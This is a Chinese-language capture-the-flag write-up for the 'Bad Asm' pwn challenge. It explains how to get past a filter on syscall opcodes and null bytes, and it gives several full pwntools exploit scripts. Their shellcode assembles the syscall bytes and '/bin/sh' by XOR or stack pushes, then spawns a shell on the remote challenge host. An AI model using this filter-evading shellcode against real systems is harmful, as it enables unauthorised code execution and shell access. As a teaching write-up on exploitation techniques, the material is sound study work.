Bad Asm
程序过滤 syscall
/ sysenter
/ int 0x80
的汇编指令的机器码。
strcpy
限制了 shellcode 的机器码中不能出现 0x00
.
开启的可执行的段具有写的权限,用异或搓出来 syscall 的机器码之后用 mov
写入到 shellcode 后面,中间用 nop
连接一下就行了。
由于程序清空了 rsp
rbp
寄存器,我们需要恢复一下 rsp
的值,任意一个可读写的段即可,否则 push
操作会寄掉。
可以用异或先把 syscall 的机器码插入到当前 shellcode 的后面来执行 read
的 syscall,利用 read
在旧的 shellcode 后面插入 execve("/bin/sh", 0, 0)
的 shellcode,第二次输入的 payload 中 0x42
个 a
的作用是覆盖掉旧的 shellcode,毕竟执行过了也没用了。
恢复 rsp
的作用是为了能够正常执行 push
pop
指令,这里 push
pop
指令位于 shellcraft.sh()
生成的 shellcode 中。否则其生成的 shellcode 无法正常执行。
# sudo sysctl -w kernel.randomize_va_space=0
from pwn import *
from Crypto.Util.number import long_to_bytes, bytes_to_long
context.log_level='debug'
context(arch='amd64', os='linux')
context.terminal=['tmux', 'splitw', '-h']
ELFpath = './pwn'
p=remote('???.???.???.???', ?????)
# p=process(ELFpath)
# gdb.attach(p)
shellcode='''
; // 目标: 使用 syscall 执行 read(0, code, 0x3fff)
mov rsp, rdi
mov rax, rdi
add sp, 0x0848 ; // 从开头到这里的作用是给 rsp 一个合法值,使 push/pop 指令能够正常执行。同时设置 rax 的值方便后面往当前 shellcode 末尾拼接上 syscall 指令的机器码。
mov rsi,rdi
mov dx, 0x3fff ; // 这两行作用是设置 rsi rdx 寄存器
mov cx, 0x454f
xor cx, 0x4040 ; // 这两行作用是用异或搓出来 0f 05 (syscall 的机器码)
add al, 0x40
mov [rax], cx ; // rax原本指向的是当前段的开始位置,加上一个偏移,在之后指向的地方写入 0f 05,即 syscall,相当于拼接到当前 shellcode 后面。
xor rdi, rdi
xor rax, rax ; // 设置 read 的系统调用号 0,设置 rdi 寄存器
'''
p.sendafter("Input your Code :", asm(shellcode).ljust(0x40, b'\x90')) # \x90是nop指令的机器码,用于连接上面的shellcode和写入的syscall,使程序能正常执行。
pause()
p.send(b'a'*0x42+asm(shellcraft.sh())) # 0x42个a正好覆盖了syscall,之后拼接新的shellcode会继续执行本次写入的新的shellcode
p.interactive()
除了异或的方法,我们可以用另一种方法布置 syscall 的机器码。
题目检查 syscall 的时候采用的方法是检测相邻两个字节,所以我们可以将两个字节分别用一个汇编指令写入到内存中,比如用 mov
,这样我们就可以将其机器码 0xf 0x5
拆开,而不是连续的字节,这样也可以通过检查。
mov byte ptr [r8 + 0x17], 0xf
mov byte ptr [r8 + 0x18], 0x5
最后保证控制执行流执行到写入的 0f05
那里就行了。
下面的 EXP 中直接异或搓了一个 execve("/bin/sh", 0, 0)
,这样也是可以的。
# sudo sysctl -w kernel.randomize_va_space=0
from pwn import *
from Crypto.Util.number import long_to_bytes, bytes_to_long
context.log_level='debug'
context(arch='amd64', os='linux')
context.terminal=['tmux', 'splitw', '-h']
ELFpath = './pwn'
p=remote('???.???.???.???', ?????)
# p=process(ELFpath)
# gdb.attach(p)
shellcode='''
; // 目标: 执行 execve("/bin/sh", 0, 0) 的 syscall
mov rsp, rdi
add sp, 0x0848 ; // 给 rsp 一个合法值,使程序能正常执行 push/pop,任意一个可读写段即可,我们这里刚好有rdi中存储的 shellcode 的段的起始位置,正好这个段有读写权限,就直接拿来在 0x848 偏移的位置当作栈顶了(加偏移是为了防止某些操作破坏写入的 shellcode)
mov rsi, 0x4028636f2e49226f
mov rdx, 0x4040104040204040
xor rsi, rdx
push rsi ; // 异或搓出来'/bin/sh\x00'(正好 8 字节,一个寄存器能存下) 并 push 到栈上面。此时 rsp 指向的即此字符串的开始位置
mov ax, 0x454f
xor ax, 0x4040
mov rsi, rdi
add sil, 0x40
mov [rsi], ax ; // 搓出来 syscall 的机器码 0f 05 并且拼接到当前 shellcode 后面。
mov rdi, rsp ; // 设置 rdi,指向之前 push 到栈上面的 '/bin/sh\x00'
xor rsi, rsi
xor rdx, rdx ; // 设置 rsi, rdx
xor rax, rax
mov al, 59 ; // 设置 execve 的系统调用号
'''
p.sendafter("Input your Code :", asm(shellcode).ljust(0x40, b'\x90'))
p.interactive()
除此之外,由于我们把栈放在可执行段上面了,我们可以直接异或整出来 syscall 的机器码然后 push 到栈上面,最后 jmp rsp
即可。由于这种方法我们并不依赖 nop
指令进行连接,在送 Payload 的时候可以去掉 ljust
了。
# sudo sysctl -w kernel.randomize_va_space=0
from pwn import *
from Crypto.Util.number import long_to_bytes, bytes_to_long
context.log_level='debug'
context(arch='amd64', os='linux')
context.terminal=['tmux', 'splitw', '-h']
ELFpath = './pwn'
p=remote('???.???.???.???', ?????)
# p=process(ELFpath)
# gdb.attach(p)
shellcode='''
; // 目标: 执行 execve("/bin/sh", 0, 0) 的 syscall
mov rsp, rdi
add sp, 0x0848 ; // 给 rsp 一个合法值,使程序能正常执行 push/pop
mov rsi, 0x4028636f2e49226f
mov rdx, 0x4040104040204040
xor rsi, rdx
push rsi ; // 异或搓出来 '/bin/sh\x00' 并 push 到栈上面。此时 rsp 指向的即此字符串的开始位置
mov rdi, rsp ; // 设置 rdi,指向之前push到栈上面的 '/bin/sh\x00'
xor rsi, rsi
xor rdx, rdx ; // 设置 rsi, rdx
xor rax, rax
mov al, 59 ; //设置 execve 的系统调用号
mov cx, 0xf5ff
xor cx, 0xf0f0 ; // 异或拿到 syscall 的机器码
push rcx ; // push 到栈顶,rsp 此时指向的是 syscall 指令
jmp rsp
'''
p.sendafter("Input your Code :", asm(shellcode))
p.interactive()
在把 /bin/sh\x00
push 到栈上面的时候,我们为了清除最后的 0x00
,采用了异或的方法。除了这种方法外我们可以调整一下这个字符串,比如我们可以改为使用 /bin///sh
,shellcraft.sh()
生成的 shellcode 采用的就是这种方法。
按照这种方法更改的 shellcode,也是可以拿到 shell 的。
shellcode='''
; // 目标: 执行 execve("/bin///sh", 0, 0) 的 syscall
mov rsp, rdi
add sp, 0x0848 ; // 给rsp一个合法值,使程序能正常执行push/pop
push 0x68
mov rax, 0x732f2f2f6e69622f
push rax ; // 将 '/bin///sh' push 到栈上面,最后一个字符 h 是第 6 行 push 的,高位默认填充为 0,此时就不用异或了
mov rdi, rsp ; // 设置 rdi,指向之前 push 到栈上面的 '/bin/sh\x00'
xor rsi, rsi
xor rdx, rdx ; // 设置 rsi, rdx
xor rax, rax
mov al, 59 ; // 设置 execve 的系统调用号
mov cx, 0xf5ff
xor cx, 0xf0f0 ; // 异或拿到 syscall 的机器码
push rcx ; // push 到栈顶,rsp 此时指向的是 syscall 指令
jmp rsp
'''